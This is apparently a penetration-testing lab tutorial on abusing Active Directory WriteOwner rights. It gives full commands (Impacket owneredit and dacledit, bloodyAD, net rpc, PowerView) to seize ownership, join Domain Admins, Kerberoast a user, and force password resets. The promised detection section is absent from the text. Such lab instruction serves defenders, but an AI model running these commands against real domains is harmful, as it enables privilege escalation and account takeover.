Abusing AD-DACL: WriteOwner

 In this post, we will explore the exploitation of Discretionary Access Control Lists (DACL) using the WriteOwner permission in Active Directory environments. The WriteOwner permission can be abused by an attacker to change the object owner to an attacker-controlled user and take over the object.

The lab setup necessary to simulate these attacks is outlined, with methods mapped to the MITRE ATT&CK framework to clarify the associated techniques and tactics. Detection mechanisms for identifying suspicious activities linked to WriteOwner attacks are also covered, alongside actionable recommendations for mitigating these vulnerabilities. This overview equips security professionals with critical insights to recognize and defend against these prevalent threats.

Table of Contents

Abusing AD-DACL- WriteOwner

WriteOwner Permission

Prerequisites

Lab Setup – User Owns WriteOwner Permission on the Domain Admin Group

Exploitation Phase I – User Owns WriteOwner Permission on a Group

Bloodhound - Hunting for Weak Permission

Method for Exploitation – Granting Ownership & Full Control Followed by Account Manipulation (T1098)

1.       Linux Impacket tool – Granting Ownership & Full Control

1.1.   Linux – Adding Member to the Group

Linux Net RPC – Samba

Linux Bloody AD

2.       Windows PowerShell Powerview – Granting Ownership & Full Control

2.1.   Windows Net command – Adding Member to the Group

Lab Setup – User Owns WriteOwner Permission on Another User

Exploitation Phase II – User Owns WriteOwner Permission on Another User

Bloodhound - Hunting for Weak Permission

Method for Exploitation – Granting Ownership & Full Control Followed by Kerberoasting (T1558.003) or Change Password (T1110.001)

1.       Linux Impacket tool – Granting Ownership & Full Control

1.1.   Linux Python Script – TargetedKerberoast

1.2.   Linux – Change Password

Linux Net RPC – Samba

Linux Bloody AD

2.       Windows PowerShell Powerview – Granting Ownership & Full Control

2.1.   Windows PowerShell Powerview – Kerberoasting

2.2.   Windows PowerShell Powerview – Change Password

Detection & Mitigation

WriteOwner Permission

The WriteOwner permission allows a user to change the ownership of an object to a different user or principal, including one controlled by an attacker. By exploiting this permission, an attacker can take ownership of a target object.

Once the attacker successfully changes the ownership of the object to a principal under their control, they gain the ability to fully manipulate the object. This includes modifying permissions to grant themselves or others full control over the object. For example, the attacker could grant "Full Control" permissions, allowing unrestricted access to read, write, or delete the object.

WriteOwner permissions on a group allow granting the right to add members to that group.

WriteOwner permissions on a user allow granting full control over the user object.

WriteOwner permissions on a computer object allow granting full control over the computer object.

WriteOwner permissions on a domain object allow granting the ability to perform a DCSync operation.

Prerequisites

• Windows Server 2019 as Active Directory
• Kali Linux
• Tools: Bloodhound, Net RPC, Powerview, BloodyAD, Impacket
• Windows 10/11 – As Client

Lab Setup – User Owns WriteOwner Permission on the Domain Admin Group

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

·       Install Windows Server (2016 or 2019 recommended).

·       Promote it to a Domain Controller by adding the Active Directory Domain Services role.

·       Set up the domain (e.g., ignite.local).

 

User Accounts:

·       Create a standard user account named Aaru.

 

net user aaru Password@1 /add /domain

 

 

Assign the "WriteOwner" Privilege to Aaru:

Once your AD environment is set up, you need to assign the "WriteOwner" privilege to Aaru over the Domain Admins group.

Steps:

1.       Open Active Directory Users and Computers (ADUC) on the Domain Controller.

2.       Enable the Advanced Features view by clicking on View > Advanced Features.

3.       Locate the Domain Admins group in the Users container.

4.       Right-click on Domain Admins and go to Properties.

5.        

 

 

Go to the Security tab, and click on Add button

 

 

In the “Enter the object name to select” box, type Aaru and click Check Names and click on OK.

 

Select Aaru user and in the Permissions section, and click on Advanced option

 

1.       In the Advanced security settings box, double-click on Aaru user’s permission entry.

2.       In the Permissions section, check the box for Modify Owner rights.

3.       Apply the settings.

At this point, Aaru now has WriteOwner rights over the Domain Admins group, meaning they can add themselves to the group.

 

Exploitation Phase II – User Owns WriteOwner Permission on a Group

Bloodhound - Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Aaru has the WriteOwner permission on the Domain Admins group.

bloodhound-python -u aaru -p Password@1 -ns 192.168.1.6 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

Thus, it has shown the Aaru User has WriteOwner privilege over Domain Admins group.

 

Method for Exploitation – Granting Ownership & Full Control Followed by Account Manipulation (T1098)

Linux Impacket tool – Granting Ownership & Full Control

Granting Ownership:

From UNIX-like systems, this can be done with Impacket's owneredit.py (Python), alternatively Impacket-owneredit

impacket-owneredit -action write -new-owner 'aaru' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'aaru':'Password@1' -dc-ip 192.168.1.6

With the help of owneredit, the DACL for this object is successfully modified, aaru user now have Ownership over the group.

Granting Full Control:

Let’s grant the user 'Aaru' full control over the Domain Admins group using Impacket’s dacledit tool.

From UNIX-like systems, this can be done with Impacket's dacledit.py (Python), alternatively Impacket-dacledit.

impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'aaru' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'aaru':'Password@1' -dc-ip 192.168.1.6

 

With the help of dacledit, the DACL for this object is successfully modified, aaru user now have full Control over the group.

1. 

Linux – Adding Member to the Group

Linux Net RPC – Samba

The tester can abuse this permission by adding Aaru User into Domain Admin group and list the domain admin members to ensure that Aaru Users becomes Domain Admin.

net rpc group addmem "Domain Admins" aaru -U ignite.local/aaru%'Password@1' -S 192.168.1.6

Linux Bloody AD

Alternatively, it can be achieved using bloodyAD

bloodyAD --host "192.168.1.6" -d "ignite.local" -u "aaru" -p "Password@1" add groupMember "Domain Admins" "aaru"

Windows PowerShell Powerview – Granting Ownerahip & Full Control

From a Windows system, this can be achieved with Set-DomainObjectOwner to grant ownership followed by Add-DomainObjectAcl (PowerView module) to grant full permission over the target.

powershell -ep bypass

Import-Module .\PowerView.ps1

Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'aaru'

Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "aaru"

2. 

Windows Net command – Adding Member to the Group

This can be achieved with a native command line, using windows net command.

net group "domain admins" aaru /add /domain

thus, from user property we can see Aaru user has become the member of domain admin.

 

Lab Setup – User Owns WriteOwner Permission on Another User

Here, in this lab setup, we will create two users’ Ankur and Sakshi, where the user Sakshi has WriteOwner permission over the Ankur user.

Create the AD Environment and User accounts

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

·       Install Windows Server (2016 or 2019 recommended).

·       Promote it to a Domain Controller by adding the Active Directory Domain Services role.

·       Set up the domain (e.g., ignite.local).

 

User Accounts:

·       Create two AD user accounts named Ankur and Sakshi.

 

net user ankur Password@1 /add /domain

net user sakshi Password@1 /add /domain

Assign the "WriteOwner" Privilege:

1.       Open Active Directory Users and Computers (ADUC) on the Domain Controller.

2.       Enable the Advanced Features view by clicking on View > Advanced Features.

3.       Locate User Ankur in the Users container.

4.       Right-click on Ankur User and go to Properties.

 

1.       Go to the Security tab, and click on Add button

2.       In the “Enter the object name to select” box, type Sakshi and click Check Names and click on OK.

3.       Select Sakshi user and in the Permissions section, and click on Advanced option.

 

 

1.       In the Advanced security settings box, double-click on Sakshi user’s permission entry.

2.       In the Permissions section, check the box for Modify owner rights.

3.       Apply the settings.

At this point, Sakshi now has WriteOwner permission over Ankur user.

 

Exploitation Phase I – User Owns WriteOwner Permission on Another User

Bloodhound - Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Sakshi has the WriteOwner permission for Ankur user.

bloodhound-python -u sakshi -p Password@1 -ns 192.168.1.6 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

 

 

From the graph it can be observed that the Sakshi user owns WriteOwner privilege on Ankur user.

 

Method for Exploitation – Granting Ownership & Full Control Followed by Kerberoasting (T1558.003) or Change Password (T1110.001)

This abuse can be carried out when controlling an object that has WriteOwner over another object.

Linux Impacket tool – Granting Ownership & Full Control

Granting Ownership:

From UNIX-like systems, this can be done with Impacket's owneredit.py (Python), alternatively Impacket-owneredit.

owneredit.py -action write -new-owner 'sakshi' -target-dn 'CN=ankur,CN=Users,DC=ignite,DC=local' 'ignite.local'/'sakshi':'Password@1' -dc-ip 192.168.1.6

With the help of owneredit, the DACL for this object is successfully modified, Sakshi user now have Ownership over Ankur user.

Granting Full Control:

Let’s grant the user 'Sakshi' full control over the Ankur user using Impacket’s dacledit tool.

From UNIX-like systems, this can be done with Impacket's dacledit.py (Python), alternatively Impacket-dacledit.

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'sakshi' -target-dn 'CN=ankur,CN=Users,DC=ignite,DC=local' 'ignite.local'/'sakshi':'Password@1' -dc-ip 192.168.1.6

With the help of dacledit, the DACL for this object is successfully modified, Sakshi user now have full Control over Ankur user.

Now, since the user has full control over the target then it can either perform kerberoasting or can change the password without knowing target’s current password (ForceChangePassword)

 

1. 

Linux Python Script – TargetedKerberoast

From UNIX-like systems, this can be done with targetedKerberoast.py (Python).

./targetedKerberoast.py --dc-ip '192.168.1.6' -v -d 'ignite.local' -u 'sakshi' -p 'Password@1'

Further, with the help of John the Ripper end the dictionary such as Rock You can help the attacker to brute force the weak password.

Linux – Change Password

Linux Net RPC – Samba

It can be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients.

net rpc password ankur 'Password@987' -U ignite.local/sakshi%'Password@1' -S 192.168.1.6

 Linux Bloody AD

Alternatively, it can be achieved using bloodyAD

bloodyAD --host "192.168.1.6" -d "ignite.local" -u "sakshi" -p "Password@1" set password "ankur" "Password@987"

Windows PowerShell Powerview – Granting Ownership & Full Control

From a Windows system, this can be achieved with with Set-DomainObjectOwner to grant ownership followed by Add-DomainObjectAcl (PowerView module) to grant full permission over the target.

powershell -ep bypass

Import-Module .\PowerView.ps1

Set-DomainObjectOwner -Identity 'ankur' -OwnerIdentity 'sakshi'

Add-DomainObjectAcl -Rights 'All' -TargetIdentity "ankur" -PrincipalIdentity "sakshi"

With the help of Set-DomainObjectOwner and Add-DomainObjectAcl, the DACL for this object is successfully modified, Sakshi user now have full Control over Ankur user.

Now, since the user has full control over the target then it can either perform kerberoasting or can change the password without knowing target’s current password (ForceChangePassword)

 

 

1. 

2. 

Windows PowerShell Powerview – Kerberoasting

From Windows machines, this can be achieved with Set-DomainObject and Get-DomainSPNTicket (PowerView module).

Set-DomainObject -Identity 'ankur' -Set @{serviceprincipalname='nonexistent/hacking'}

Get-DomainUser 'ankur' | Select serviceprincipalname

$User = Get-DomainUser 'ankur'

$User | Get-DomainSPNTicket

Windows PowerShell Powerview – Change Password

Linux Net RPC – Samba

The attacker can change the password of the user using PowerView module. This can be achieved with Set-DomainUserPassword cmdlet.

$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force

Set-DomainUserPassword -Identity 'ankur' -AccountPassword $NewPassword